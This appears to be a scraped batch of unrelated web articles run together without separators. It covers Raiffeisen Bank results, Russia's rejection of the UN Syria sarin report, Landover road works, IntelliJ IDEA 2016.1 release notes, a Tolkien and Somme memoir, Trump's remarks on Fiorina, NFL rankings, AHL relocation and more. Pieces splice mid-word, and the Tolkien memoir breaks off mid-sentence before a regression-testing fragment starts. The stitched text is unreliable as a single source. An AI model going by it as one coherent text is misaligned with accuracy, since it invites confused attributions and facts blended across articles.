The bank, which trails only UniCredit Bank Austria in the region, will not pay shareholders a dividend on 2014 results, when it lost nearly 500 million euros ($565 million) amid hits from Ukraine and Hungary.
It is counting on retained earnings to boost its capital ratio by around 1.2 percentage points, which means it will be careful about payouts to shareholders led by Raiffeisen Zentralbank, its unlisted parent.
“The primary goal is to achieve a 12 percent common equity tier 1 ratio,” Chief Executive Karl Sevelda told a conference call with analysts that the bank said drew 1,100 listeners.
“On the long run I could imagine that we could agree — but course this has to be discussed also with our supervisory board — on a payout ratio maybe of around 20 to 25 percent (of earnings),” he added.
Top Raiffeisen officials, who won’t get a bonus after the 2014 loss, said they picked the 12 percent target after informal signals from regulators that this would be the new normal for all big banks in Europe.
The group gave no forecasts for this year ahead of full results next month, but said most markets held up well last year. Its Russian business made a 342 million euro profit, and earned more than 30 million in January, it said.
Raiffeisen said the sale of its Slovenian unit was at an advanced stage and it was confident of getting a “decent” price above book value for its Polish arm, which has 1.44 billion euros in equity.
However, Credit Suisse analysts were concerned whether the planned reduction in RWAs would be fast enough for regulators, or to boost the profitability levels of the remaining business. They rate the stock “neutral”.
Raiffeisen said it aimed to cut costs by 20 percent from their level at the end of last year as part of the revamp, which would trigger 500-550 million euros in restructuring costs.MOSCOW (Reuters) - Russia denounced U.N. investigators’ findings on a poison gas attack in Syria as preconceived and tainted by politics on Wednesday, stepping up its criticism of a report Western nations said proved President Bashar al-Assad’s forces were responsible.
Russia, which has veto power in the Security Council, could cite such doubts about proof of culpability in opposing future efforts by the United States, Britain and France to punish Syria for any violations of a deal to abandon chemical weapons.
“We are disappointed, to put it mildly, about the approach taken by the U.N. secretariat and the U.N. inspectors, who prepared the report selectively and incompletely,” deputy Foreign Minister Sergei Ryabkov told the state-run Russian news agency RIA in Damascus.
“Without receiving a full picture of what is happening here, it is impossible to call the nature of the conclusions reached by the U.N. experts... anything but politicised, preconceived and one-sided,” Ryabkov said after talks with Syrian Foreign Minister Walid al-Moualem.
The report issued on Monday confirmed the nerve agent sarin was used in the August 21 attack but did not assign blame. Britain, France and the United States said it confirmed Syria’s government, not rebels as Russia has suggested, was behind it.
Russian Foreign Minister Sergei Lavrov said on Tuesday the investigation was incomplete without examination of evidence from other sources and that suspicions of chemical use after August 21 should also be investigated.
Ryabkov said Syrian authorities had given him alleged evidence of chemical weapons use by Assad’s opponents.
The stark disagreement over blame for the attack may complicate discussions among Security Council members - Russia, China, the United states, Britain and France - over a Western-drafted resolution to eliminate Syria’s chemical weapons.
Russia has been Assad’s most powerful backer during the conflict that has killed more than 100,000 people since 2011, delivering weapons and - with China - blocking Western efforts to use the Security Council’s clout to pressure his government.
Moscow argues that the danger emanates from rebels, many of whom harbour militant islamist ambitions for Syria that could ultimately pose a threat both to Russia and the West.
“LITMUS TEST”
The draft resolution is intended to support a U.S.-Russian deal reached on Saturday calling for Syria to account for its chemical weapons within a week and for their destruction by mid-2014. The deal was based on a Russian proposal accepted by Assad.
The deal halted efforts by U.S. President Barack Obama to win Congressional approval for military action to punish Assad for a poison gas attack, which the United States says killed more than 1,400 people in rebel-held areas.
Slideshow (3 Images)
U.S. Secretary of State John Kerry called on Tuesday for a resolution with the strength to force compliance from Assad.
Diplomats said the current U.S.-British-French draft was written so that its provisions are under Chapter 7 of the U.N. charter, which covers Security Council authority to enforce its decisions with measures such as sanctions or force.
But Russia has made clear it believes authorisation of the use of force would require a second resolution to be introduced if the Syrian government or its opponents are found to have violated the country’s commitments on chemical weapons.People living on Old Landover Road have been trapped in their homes for a week as sidewalk construction blocks their driveways. They tell 7 On Your Side they received no notice, and no temporary way to get to access to their own homes as promised by Prince George’s County.
The notice below is what a Prince George's Co. warning letter for road work looks like.
“I still feel like I'm in prison in my house all weekend. It seems like its false imprisonment because I can't go anywhere unless I walk. I can’t move my car, I can’t do anything,” said Deane Loines.
“They're putting in sidewalks and curbs. I welcome both of them. But I don't welcome not being notified,” added Loines.
Loines and his family have had to pay for a combination of Metro and Uber to head to work.
7 On Your Side contacted Prince George’s County Public Works Department. They contracted road crews to place sidewalks along Old Landover Road.
“We truly apologize,” said Paulette Jones with Public Works. “The contractor should have placed some temporary access for residents to get to their homes.” Jones added such access may include gravel or steel plates.
“I walk up and down the street and knock on doors and trying to talk to people and we do the best we can,” said Jeff Johnson, President of the Greater Landover Civic Association.
“We've been fighting for these roads for about 15 years now, trying to get streets in here for the safety of my residents. A lot of people were getting hit on the side of the road,” added Johnson.
If road crews come to your house, contractors tell 7 On Your Side you must tell them in person that you need to have continued access to your driveway. If you do not tell them, road crews will not automatically lay gravel or steel plating to allow access. They cite the cost and time needed that prevents them with providing access to all affected residents driveways.
Road crews were seen laying concrete on the Loines family driveway Monday afternoon.
“I appreciate you guys coming out. I really do,” Loines told 7 On Your Side. “You guys helped me. Because I think this actually motivated them to get this done.”It makes perfect sense that the Liberals would want to backtrack on their opposition to Canada’s military mission in Iraq, but it could really do a better job of covering its tracks. Marc Garneau’s assertion that sending planes to drop bombs on ISIS was “overkill” — because other countries were already dropping bombs — leaves them looking ridiculous.
The party has been in a mess over the mission since the beginning. When Justin Trudeau announced its opposition in October, he accused the Conservatives of being motivated by a desire to play soldier.
“As the months unfold I am certain that Canadians will realize that the Prime Minister did not think about Canada’s long-term interest or even what Canada has best to offer in the fight against ISIL when he made his decision, and it was more about ego,” he said.
Unwilling to halt there, he added: “Why aren’t we talking more about the kind of humanitarian aid that Canada can and must be engaged in, rather than trying to whip out our CF-18s and show them how big they are?”
Is it considered bad form to drop more bombs on the enemy than they can conveniently deal with?
Turns out he was wrong about Canadians’ sentiments. Not only do Canadians broadly support the mission and the efforts to contain the self-declared Islamic State, but that support grows as the brutality of ISIS becomes ever more evident. With an election due in October, the Liberals don’t want to be caught on the wrong side of public opinion, so they’ve been working to shift their position. When the Conservatives introduced new anti-terrorism legislation, Liberals suggested some changes, but said they’d vote for it one way or another.
Marc Garneau, the foreign affairs critic, appeared on CBC Thursday to do some more explaining. Far from opposing the troops efforts, he said, the party has always been supportive. Its view was always been that training Kurdish peshmerga troops to do the ground fighting was “very, very important.” So if they were in favour of the mission, why did they vote against it?
“The part we had the problem with was the CF-18s” said Mr. Garneau. “And the reason for that was because there were nine other countries providing strike aircraft and it was overkill, and I think if you look at the number of sorties and dropped bombs, there was a better way to use the Canadian military resources.”
Wait… “Overkill”? How can you have overkill when you’re trying to stop a marauding enemy army? Gen. Grant used superior numbers to wear down and defeat Gen. Lee during the U.S. civil war. Gen. Montgomery was always holding up attacks while he built up an advantage in men and equipment. Is it considered bad form to drop more bombs on the enemy than they can conveniently deal with? Would the Liberals have advised Gen. Patton to leave some of his tanks behind as the allies headed for Berlin, since the Russians, French, Canadians and all those other allies were also using tanks?
You have to wonder where the Liberals get their military strategy. Did Mr. Trudeau think it up himself? “Hey Marc, it’s really not pukka bombing those poor ISISI chaps with so many planes, all at once. Let’s back off on the CF-18s and give the poor devils a chance.” Just what is the correct number of countries to bomb an enemy before it becomes overkill?
The Liberals have to work harder at this stuff. Mr. Garneau is a sensible man. He must hate having to try and make his leader’s policy positions look sensible.
National Post
KellyMcParland<Today, we’re excited to introduce IntelliJ IDEA 2016.1, the first update in the series of releases planned for 2016. We hope you’ll be surprised to find out how much we’ve managed to accomplish in four months. Download the new version today and try all the new features for yourself. Read this post to learn about the major improvements.
New Features
Debugger
Evaluate Expression and Watches now accept Groovy expressions when debugging Java code. This may be convenient due to the compactness of Groovy, especially when working with collections.
If the current thread is blocked by another suspended thread, the IDE will suggest resuming it.
Previously Resume used to resume all suspended threads. Now you can change this behavior to only resume the current thread.
If the IDE notices that the source code is different from that being executed, it warns you to help prevent time waste or errors.
VCS
The IDE now supports git worktrees introduced in Git 2.5 to simplify working with multiple revisions of a single repository.
The Branches menu offers two new actions: Checkout with Rebase and Rename. Checkout with Rebase is faster than performing the two actions separately.
Merging and comparing revisions just got easier with the added by-word difference highlighting.
Editor
The code editor introduces a new action to re-order method arguments, array elements and tag attributes: Move Element Right/Left (Alt+Ctrl+Shift+Arrows or Alt+Cmd+Shift+Arrows for OS X).
Static methods and constants are now auto-imported in the same way as classes – with a single press of Alt+Enter.
The Add unambiguous imports on the fly option now works for static methods and constants.
The code editor supports right-to-left languages (Arabic, Hebrew).
Gradle
The project model of the IDE is now aligned with that of Gradle: each source set of a Gradle project is now a separate module in the IDE – and may have its own dependencies. This change has solved many issues reported by our users.
As with WAR artifacts, the IDE is now able to automatically configure EAR artifacts found in the build script.
Java 8
Inline Method and Change Signature now transform related method references in the project to lambda expressions.
New inspections added to ensure the code using java.util.Optional, lambda expressions and functional interfaces is safe.
If you use Guava, the IDE will offer replacing FluentIterable, Function, Optional and Predicate to the corresponding Java 8 APIs.
Kotlin
IntelliJ IDEA 2016.1 bundles Kotlin 1.0. Kotlin is compatible with Java 6/7/8, Android and any other Java frameworks (e.g. Java EE, Spring) and build tools (e.g. Gradle, Maven). Kotlin can be used with existing Java projects. Starting with v1.0, Kotlin is backward-compatible.
To make learning Kotlin more fun, we’ve developed Kotlin Edu–a plugin that lets you take interactive Kotlin learning courses.
Scala
Code completion is more relevant now as it respects the type of symbols, their definition scope and their usage. The IDE prioritizes local variables, then parameters, then fields, then methods, etc. If the IDE expects a type, it will also take that into account.
Also, code completion now suggests property names for case classes within pattern matching statements.
JavaScript
Support for ES6 and TypeScript gets better with new refactorings (Create Method, Extract Method, Inline Method and Introduce Field), intention actions (Make Class Abstract, Make public/private and Remove Modifier), highlighting of unused imports, and working Optimize Imports. Completion adds imports automatically.
TypeScript 1.8 is supported.
AngularJS 2 support adds coding assistance for event and property bindings, and completion inside data bindings. Code insight and navigation are available for directives, variables defined in templates, custom event handlers, and paths in templateUrl and styleUrls fields.
The IDE now understands components defined using the new AngularJS 1.5 module.component() method helper.
The debugger for Chrome makes it easier to debug asynchronous client-side code. It allows you to stop at inline ES6 arrow functions, and to stop at the breakpoints set in web and service workers.
Spring Frameworks
Support for Spring Boot adds coding assistance within YML and banner.txt files. @SpringApplicationConfiguration is respected when creating run configurations for tests. ‘Find usages’ is now working for configuration properties defined by user.
Working with Spring MVC is improved with added support for @EnableWebMvc.
Many issues reported by our users have been fixed.
Thymeleaf
The IDE now offers coding assistance for user-defined dialects. Thymeleaf 3.0 is supported.
Android
It is now possible to profile leaked activities and use new lint checks added in Android Studio 1.5.
Others
The Terminal tool window now offers Quick search via Ctrl+F (Cmd+F for OS X).
The Docker plugin has been improved in many ways, including Docker Machine support, a separate tool window, right-side panel to see logs and manage environment variables and port bindings, and more.
IntelliJ Platform has migrated to Java 8 which means plugin developers can now use Java 8 features in their code.
For more details on the new features and improvements, please read the What’s new page, where you can also download the edition of your choice.
New versioning
As we announced earlier, with this release we’re changing the versioning scheme and moving away from one “major” release per year to several “equal” releases per year. Also, we’re aligning releases and version numbers across all products under JetBrains Toolbox. The new versioning will follow the format “YYYY.R” where yyyy represents the year, and “r” the release within that year. For more details on the new versioning, read this blog post.
UPDATE: If you’re running IntelliJ IDEA 15 Ultimate, you can sometimes see a confusing message in the Updates dialog, saying that you can evaluate the new version for 30 days, or buy a license key or upgrade online–regardless to the active state of your subscription. We apologize for this, and promise to fix it in the minor update that we’ll be releasing within several days.
—
The JetBrains Team
The Drive to DevelopWauwatosa-based Penzeys Spices found itself in the middle of a political controversy last month after its owner heavily criticized President-elect Donald Trump; but it looks like the company's strong political stance has only served to help sales.
Owner Bill Penzey Jr. attracted both harsh criticism and support when he said to Republicans: "You just voted for an openly racist candidate for the presidency of the United States of America."
"The open embrace of racism by the Republican Party in this election is now unleashing a wave of ugliness unseen in this country for decades," Penzey Jr. added.
Though some called for a boycott of the nearly-60-year-old company in that letter's aftermath, a new letter posted to their Facebook page would suggest the gamble paid off:
Willing to take a hit for what is right, we did what we did. In the two weeks since, online sales are up 59.9%, gift box sales up 135%. And we didn't have a catalog arrive in this window this year, while last year we had 1.1 million! Yes, maybe for the moment we have lost 3% of our customers because of the so-called "right wing firestorm." And, yes, they send emails of rage, and ALL CAPS, and bad language with the hope of creating the perception that they are bigger than they really are. But what we learned is that, in terms of retail spending, Donald Trump simply has no one supporting his views for America. He has no constituency.
Penzeys Spices had 600,000 catalog customers as of 2007, CNN reported. There are nearly 70 retail locations around the country.SAN DIEGO (CNS) - The city of San Diego will begin washing down streets and sidewalks next week in an effort to control an outbreak of hepatitis A that has killed at least 15 people and sickened around 400.
Disinfecting streets in affected areas is one of the measures demanded by county health officials in a letter to the city last week. The other primary step, setting up dozens of hand-washing stations, has already been carried out.
RELATED: Hepatits A outbreak ravages San Diego homeless population
Officials with the office of Mayor Kevin Faulconer told City News Service they were finalizing a contract for the service. Spraying could begin as soon as Monday, but an exact schedule hasn't been determined, they said.
The county, meanwhile, has been providing vaccinations to thousands of San Diegans, with 7,300 given to people considered to be at-risk of contracting the disease, which attacks the liver. Around 19,000 have been given out total.
RELATED: Animal center joins push to house San Diego homeless with tents
Dr. Wilma Wooten, the county public health officer, said about two- thirds of the victims are homeless and/or users of illicit drugs. The hand- washing stations have been set up in areas where that population is prevalent, including downtown, Balboa Park and near the San Diego River.
She said she expects the number of victims to increase because hepatitis A has a long incubation period. The toll of fatalities is of confirmed cases - - an additional death is suspected of being from the disease but has not been confirmed by laboratory testing.
RELATED: City and County of San Diego provide handwashing, vaccines to stop hepatitis A outbreakFT Magazine 29/30 July 2006
J.R.R. Tolkien and the Somme were inextricably linked. I learned this forty-four years ago, shortly after I was elected to my first university appointment, at Merton College, Oxford. I was twenty-six years old.
In those days there was a strict seating order at college dinners. The head of the college sat in the centre, the senior fellows on either side of him, and the junior fellows at the far ends of the table. Also at the ends were the Emeritus Fellows, long retired, venerable, sometimes garrulous guardians of the college name. Several of them had served in the First World War. When they discovered a historian, new to his craft, filled with the keenness of a youngster amid his elders, they were happy to talk about those distant days, already more than forty years in the past.
Some enjoyed singing the songs of the trenches, in versions far ruder than those sung today. Tolkien was more reticent, yet when he did open up, full of terrible tales. There was never any boasting. The war’s scars were too many, its reality too grim, to lead to self-glorification, or even to embellishment.
In 1916, the twenty-four-year-old Tolkien was a 2nd Lieutenant in the Lancashire Fusiliers. On the evening of July 14 – two weeks after the start of the Battle of the Somme – his battalion went into the line. He had never seen action before. What he later called the “animal horror” of the trenches was as yet unknown to him. But he already knew that one of his closest friends, Robert Gilson, had been killed on the first day.
Gilson, two years younger than Tolkien, had written home two nights before he was killed. “Guns firing at night are beautiful – if they were not so terrible. They have the grandeur of thunderstorms. But how one clutches at the glimpses of peaceful scenes. It would be wonderful to be a hundred miles from the firing line once again.”
Tolkien was to experience many such nights. He was also to lose more friends. On July 22, three days after his first five-day spell in the trenches, his friend Ralph Payton was killed in action. Payton’s body was never identified; his name is inscribed today on the Thiepval Memorial to the Missing.
Two days after Payton was killed, Tolkien returned to the trenches for a second five-day spell of front-line duty. As battalion Signals Officer, his task each time he went “up the line” was to supervise the communications to the brigade command post a mile and a half behind the trenches. The main method of communication was by pigeon.
As we talked of those far off times, Tolkien remembered, as vividly as if it were yesterday, the constant danger of German artillery shells, ranging throughout the area, falling with their screech and roar, and clouds of earth and mud, and the fearful cries of men who had been hit.
Like all the First World War soldiers at dinner in college, Tolkien knew that his stories seemed antique compared to the more recent memories of those who had fought in the Second World War. Several times he told me, in words he was later to use in his introduction to the second edition of “The Lord of the Rings”: “It seems now often forgotten that to be caught by youth in 1914 was no less hideous an experience than to have been involved in 1939 and the following years.”
Forty-four years after my Merton conversations with Tolkien, I passed the Roman Catholic church at Bertrancourt, three miles behind the old front line. There, on August 6, he attended mass before setting off, the following morning, for the front-line trenches. It was his third spell up the line, and he was fortunate. During the five days that he ran the communications there, no British forward assault took place, and only four men were killed. One writes “only” because, at the time, the death of four soldiers on a battalion front seemed a small toll.
Like many old soldiers, Tolkien spoke of the stark, dull, ordinariness of much of life on the battlefield. But there were no lack of action. On September 27 he was back in the front line, organizing communications through the splintered maze of Thiepval Wood, as his battalion struggled, in vain, to enter the Schwaben Redoubt, a German strong point that had resisted all efforts to capture it since July 1. On the following day, when the battalion carried out a successful raid on a German machine-gun position that had caused havoc for the attackers, more than thirty Germans were taken prisoner.
Tolkien, who spoke German, later recalled with wry amusement how, when he offered a drink of water to a wounded German officer, the prisoner, while accepting the water, corrected him on his German pronunciation.
Tolkien and his signallers were always |
test inputs that can be used for retest-ing and by creating unit test cases from system test cases.
Recover test cases by identifying, manipulating, and transforming obsolete test cases, by generating new test cases from old ones, and by repairing test cases when the software changes
[reference: http://ieeexplore.ieee.org/xpl/articleDetails.jsp?reload=true&arnumber=5306347]
Assess the impact at a functional/module/component level and reduce the coverage of your regression suite. This can be for both manual and automated tests. We need to identify complete end to end flow rather than individual test cases for regression.
If you have a lot of regression tests because you have a lot of parameters, you might want to give combinatorial testing a shot.
The point of regression testing is to find bugs injected into the system later. Most bugs happen not because some parameter is set to a value. They usually happen when at least two different parameters are involved.
Instead of testing every possible combination of values, test every possible -pair- of values. There are much fewer tests to get this coverage.
If you want to look at a tool, Hexawise would be a great place to start.
Design your regression test suite in such a way that you are able to perform different levels of regression testing while also reducing resource and turnaround requirements.
If you carefully feed and care for your regression test suite you will reap the benefit of continually increasing confidence in the stability and quality of your system through maximized test coverage and ease of execution within your constraints.Donald Trump latest's close-up is coming from the unlikeliest of magazines: Rolling Stone.
When the magazine's cover story came out on Wednesday, the most-talked-about passage was a Trump comment about rival Republican presidential candidate Carly Fiorina.
According to writer Paul Solotaroff, he was sitting with Trump watching a newscast when a video clip zoomed in on Fiorina.
"Look at that face! Would anyone vote for that?" Trump said to Solotaroff. "Can you imagine that, the face of our next president."
Trump added, "I mean, she's a woman, and I'm not s'posedta say bad things, but really, folks, come on. Are we serious?"
Solotaroff continued his cover story (headlined "Taking Trump Seriously") by saying:
"And there, in a nutshell, is Trump's blessing and his curse: He can't seem to quit while he's ahead. The instincts that carried him out to a lead and have kept him far above the captious field are the same ones that landed him in ugly stews with ex-wives, business partners, networks, supermodels and many, many other famous women."
The quotes stirred controversy on Twitter Wednesday evening. A spokeswoman for the Trump campaign declined to comment.
But Trump said on CNN's "New Day" Thursday morning that he was talking about Fiorina's persona, not her physical traits.
"The fact is that Carly Fiorina has had a terrible past," he said, citing criticisms of her time as a CEO.
For her part, Fiorina sidestepped questions about Trump during an interview on Fox News on Wednesday night. "I think those comments speak for themselves," she told Megyn Kelly.
Fiorina said "I have no idea" what Trump meant, but "maybe, just maybe, I'm getting under his skin a little bit, because I am climbing in the polls."
On CNN's "Anderson Cooper 360," Republican strategist Ana Navarro predicted that at next week's primary debate, "she's going to look Donald Trump right into his face and say to him, 'Really, Donald? Really? You think you can criticize my looks?'"
Republican commentator Ken Cuccinelli, a former Virginia attorney general, said Trump's barb directed at Fiorina is "going to cause him problems, as it probably should."
That said, Trump has proven uniquely able to withstand periods of outrage over controversial comments in the past.
The Trump interview and cover shoot with Rolling Stone was arranged back in August. It came as something of a surprise because the magazine is well known for its progressive bent. Its publisher Jann Wenner is a staunch supporter of Democrats.
A spokeswoman for the magazine said the issue -- dated September 24 -- will hit newsstands on Friday.
Solotaroff's cover story also reveals that Trump has not totally moved on from his well-documented feud last month with the Fox News Channel.
Most recently, he was absent from the network for two weeks after criticizing prime time host Megyn Kelly.
While spending time with Solotaroff, Trump handed the writer a copy of a New York magazine article titled "How Roger Ailes Picked Trump, and Fox News' Audience, Over Megyn Kelly."
It was the same article he handed to New York Times columnist Maureen Dowd when she visited him a couple of weeks ago.
"I don't start these fights, but I sure as hell win them," Trump told Solotaroff.Throughout the late 1970s and most of the 1980s Dungeons & Dragons was a long way from the slick, corporate roleplaying game that it is today. It was rough around the edges, amateurish, and weird. Some early D&D material was so strange we have no choice but to ask...
Killing and/or being killed by monsters is the central premise of Dungeons & Dragons. People like to argue the importance of serious roleplaying, conversation, characterization, and story. Save that nonsense for some newfangled game where everyone takes a turn telling the story, or there aren't any dice, or you play escaped slaves in the antebellum south learning about race.
D&D was born from war gaming and it has always been about killing monsters. If you can understand that then you can understand why the Monster Manual is D&D's most iconic source book. The 1st Edition Monster Manual, released in 1977, was the first hardcover book for D&D. Packed with artwork ranging from decent to childlike, the Monster Manual served as the comprehensive encyclopedia of foes for the Dungeon Master to pit against the players.
Unfortunately, not all foes contained within the Monster Manual were created equal.Joe Haden not among the NFL’s Top 100 players?
And not among the NFL’s top nine cornerbacks?
That’s the feeling of one NFL analyst. In compiling his Top 100 players for CBS Sports, Pete Prisco included two Cleveland Browns. Haden is not one of them.
Nine cornerbacks made the list; five are from the AFC.
But not Haden.
This seems like a major oversight. Prisco has a long-standing tradition of picking as he sees it, and he bases his picks on watching film, not on opinion and chatter.
Browns cornerback Joe Haden not being ranked among the NFL's Top 100 players seems to defy logic. Ken Blaze/USA TODAY Sports
The nine cornerbacks who are better than Haden, in Prisco’s opinion: Richard Sherman of the Seattle Seahawks (No. 7 overall), Darrelle Revis of the New York Jets (No. 8), Chris Harris Jr. of the Denver Broncos (No. 22), Patrick Peterson of the Arizona Cardinals (No. 39), Vontae Davis of the Indianapolis Colts (No. 40), Desmond Trufant Jr. of the Atlanta Falcons (No. 63), Jimmy Smith of the Baltimore Ravens (No. 79), Xavier Rhodes of the Minnesota Vikings (No. 80) and Sean Smith of the Kansas City Chiefs (No. 86).
Candor prompts me to say Prisco is a good friend. He and I go way back to covering Emmitt Smith in college. I know he respects Haden and likes him a ton as a player.
I e-mailed Prisco and he wrote back and explained that he simply thought Haden didn't play as well early last season as he had in previous seasons -- a contention that is probably true.
"It was hard to do," Prisco wrote of leaving Haden off the Top 100.
Watch Haden every day and he sure seems like one of the league's better corners.
I checked out ProFootballFocus.com to see how the analytics website broke down last season's cornerbacks. Its top six: Harris, Davis, Sherman, Revis, Smith and Trufant.
Haden ranked 28th, with a ranking just above average.
Is Haden overrated in Cleveland?
Hardly.
ProFootballReference.com gave Haden’s 2014 season an approximate value of 10, tying him for 87th in the NFL, which does break the Top 100.
Among cornerbacks, Haden ranked sixth -- behind Sherman, Revis, Harris, Davis and Brent Grimes. Haden broke up 23 passes last season, which tied Philadelphia's Bradley Fletcher for the best in the league.
Sometimes, too, value can’t be assessed through a number or analytics.
Haden draws the toughest assignment each and every week and usually comes through. The one exception is Antonio Brown, who gives Haden trouble -- but Brown gives a lot of people trouble. The Browns know they can rely on Haden, and his ability to play press-man coverage is a key to the team’s defense.
Opinions and feelings of others aside, Haden passes any eye test. He's aggressive. He attacks the ball. He's a team guy. He played with a shoulder injury and the flu in the season finale. I’d take him, his attitude and his approach on my team any day of any season.
Credit Prisco, though, for noticing how well Browns offensive lineman Joel Bitonio played as a rookie. The guy was a natural from the day he stepped on the field. Prisco ranked him 92nd and wrote: “He stepped in as a rookie starter and looked right at home. He was one of the better guards in the league and has a bright future inside after making the move from college tackle.”
Browns offensive tackle Joe Thomas ranked 32nd, with this comment: “Thomas isn't as elite as guys like Tony Boselli and Walter Jones, but he is the best of this era.”
The Ravens had seven players in the Top 100, the Steelers four, and the Bengals and Browns two each.The idea of privately owned skate parks is not a new thing. As long as people have needed a place to shred, there has been motivation to open a park. I’m not here to talk about the history of skateboarding, or even to relate skate culture to libertarianism, but I want to make the case in favor of private ownership over state/public ownership of parks.
1. People who care are in control
When was the last time your parks and rec officer tried to 180 into a fakie kickflip? When was the last time you bought new wheels from your local city council member? The first problem to address with public ownership of parks is the general lack of understanding and interest in the skate community. Filled with budgets to manage and people to rob, your local politician simply does not have the incentive to care about the skate subculture.
On the other hand, through private ownership the park is built and operated by people who share the passion with the patrons of the park, people who care. If the owner of your park skates the park, he has a direct incentive to maintain quality and customer satisfaction.
2. Direct communication
Imagine you’re having a skate session with some friends and you notice your favorite grind rail is starting to rust. If the city owns the park you have to call up some office, get redirected to some intern and maybe after filling out an official form a Parks and Rec agent will check out the problem in a few months. Fortunately, through the efficiency of free market private property, if the park is privately owned you just have to skate over to the front desk or at most call the owner directly. With private ownership we cut out lots of hassle and as demonstrated by point 1, the proper incentives mean the problem is addressed much more quickly.
This direct communication advantage doesn’t stop there. The easy approachability of the skate park owner means much more involvement with the community. All the worried mothers can douse their fears just with a short conversation over park safety. The owner could easily host meetings to directly communicate with customers and the local families. Private ownership leads to more community involvement – kind of funny to think about.
3. Longevity
Private ownership is no guarantee that the park will last, but being subject to political power puts a public skate park at risk. Greatly outnumbered and unorganized skaters and skate culture are not political forces with much pull. A minority (many of which aren’t even voting age) of people against a highly funded political lobby group is really at a disadvantage when the city considers building a new housing project over the local park.
The private park will stay as long as there is money to be made. Because of profit incentives and direct communication with the public, the park owner is much more likely to fight against the government’s fun killing hands.
4. Profit
Profit incentives leads to quality control, (a dead horse beaten by the other 3 points) but profit has many other positive effects. People are needed to maintain and regulate safety of the park which means lots of awesome jobs for local kids. An opportunity to pursue their passion and get real world job experience is something lots of young punk skaters miss out on.
The possibility of sponsorship from local skate shops creates an environment of for-profit skateboarding entrepreneurship. Being able to advertise in the park benefits the local economy and helps to further advance skate culture along with the market.
Profit and passion are things that should be considered when evaluating private vs public parks. The case against public skate parks is driven by knowing where the right incentives are. And when it comes to ownership, privatization is like a 360 hardflip compared to the flatground ollie that is public ownership.As the AHL heads to west coast, the schedule will shrink
An official announcement on the American Hockey League's new west-coast division/pod could come as soon as the All-Star break. It's coming, and it will be sooner than later.
Buy Photo In the last-ever appearance in Rochester for the Oklahoma City Barons, Matt Pelech (16) and Johan Larsson tell (show?) Ryan Hamilton that he's not welcome in Matt Hackett's goal crease. Edmonton is moving its AHL team to Bakersfield, Calif., for next season. (Photo: CARLOS ORTIZ/@cfortiz_dandc, STAFF PHOTOGRAPHER)
But besides seeing at least four NHL teams pulling up stakes from the east and relocating development operations closer to home, the AHL schedule could end up dramatically shorter.
Like 10 games shorter, to 66 total. That's by no means official, but it has been bandied about. So, too, has 72 games.
AHL president Dave Andrews said in October that many NHL teams were pushing for a reduction in games played, and that some AHL owners also had suggested it. Few teams can sell mid-week games before Christmas.
The league currently uses a 28-week template for the 76-game schedule. Slicing the season to 72 games would quite likely be an easier compromise for independent AHL owners to accept, though the Hershey Bears, Chicago Wolves and Grand Rapids Griffins very likely won't be in favor of any cutback.
The NHL, however, continues to push development, and some teams believe a reduction to 66 would provide optimum time for practice as well as recovery.
By comparison, the NHL plays 82 games, while Canada's major junior leagues play either 68 games (Ontario and Quebec Major) or 72 games (Western).
Approval by the board of governors (75 percent) is required for any schedule template change.
The vote very likely will take place at the board of governors meeting during the Jan. 25-26 AHL All-Star Classic in Utica/Verona.
So who's moving to the West Coast?
• The Edmonton Oilers are leaving Oklahoma City for Bakersfield, Calif. That's done.
• The Los Angeles Kings will be leaving Manchester, N.H., for Ontario, Calif. That's a foregone conclusion.
• The Anaheim Ducks will be buying the Norfolk franchise and relocating it, perhaps to San Diego (as reported by The Virginian-Pilot on Thursday http://hamptonroads.com/2015/01/sources-admirals-being-sold-will-leave-norfolk#).
• The San Jose Sharks will leave Worcester, Mass., for... Good question. Sacramento, Fresno and Long Beach all have been rumored. Another possibility: having the AHL team play in the NHL rink, the SAP Center.
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• The Calgary Flames are reportedly willing to leave Glens Falls (where they landed just this season) for Stockton, Calif.
• The Colorado Avalanche have a year remaining on their lease in Cleveland but they are almost sure to find somewhere in the Mountain or Pacific time zone for AHL operations by the 2016-17 season. The Avs don't own an AHL franchise (Dan Gilbert, owner of the NBA's Cleveland Cavaliers, owns the Lake Erie Monsters). At some point the Columbus Blue Jackets will then gobble up a chance to have their AHL operations in their home state.
• The Arizona Coyotes need to go west as well. They probably spend at least $1.1 to $1.3 million a year just keeping two extra players on the NHL roster, since getting a body from Portland, Maine, to Glendale in an emergency on game day isn't conducive to on-ice productivity.
Andrews, in a statement from the league, said today, "While progress is being made, there remains much work to be done and there is still no timeline for the establishment of a Pacific Division. Rumors of potential franchise sales and/or relocations remain simply speculation."
Clearly the one constant is change.
Read or Share this story: http://on.rocne.ws/1IEZURW(Source: BBC Media Centre via Rob Wagner)
The British Broadcasting Corporation (BBC) announced today that the Indian Ocean Relay Station (IORS) transmitter site at Grand Anse, Mahé, will cease all shortwave transmissions on 29 March 2014.
The site was established in 1988 and has been in continuous service since then, relaying BBC broadcasts to audiences in East Africa primarily in English and Somali.
The closure will not affect the availability of BBC World Service programmes in Seychelles, which are relayed from satellite broadcasts on to local FM frequencies 106.2, 105.6 and 105.2MHz. In areas of East Africa still dependent upon shortwave broadcasts, the signal will be supplied by other relay stations. The announcement follows an earlier decision to stop all shortwave broadcasts from the BBC World Service site in Cyprus for similar commercial, technological and audience reach reasons. These ended in March of this year.
The announcement will unfortunately result in 11 staff being put at risk of redundancy. The staff over the last 25 years have operated and maintained this shortwave broadcast facility with passion, expertise and professionalism. The technical ability and commitment of the team at the IORS has been applauded by the BBC World Service.
The decision to close the site has been taken due to changing commercial and technological circumstances. As countries develop and their media markets open, listening and viewing habits have changed. New technology has changed the way audiences listen to BBC programmes and reduced the importance of shortwave broadcasts in much of the area currently served by the IORS, making the IORS commercially unviable.
The BBC is supporting the development of new delivery platforms such as internet and mobile streaming as well as FM radio and TV broadcasts. Shortwave broadcasts continue to regions and markets where listening remains strong and BBC services can be delivered efficiently to large geographic areas.The latest dark gem from Fernandez opens:
When Richard Gallagher, a board-certified psychiatrist and a professor of clinical psychiatry at New York Medical College, described his experiences treating patients with demonic possession in the Washington Post claiming such incidents are on the rise, it was met with derision by many newspapers’ commenters. Typical was “this man is as nutty as his patients. His license should be revoked.” […] Less likely to have his intellectual credentials questioned by the sophisticates of the Washington Post is Elon Musk who warned an audience that building artificial intelligence was like “summoning the demon”. …
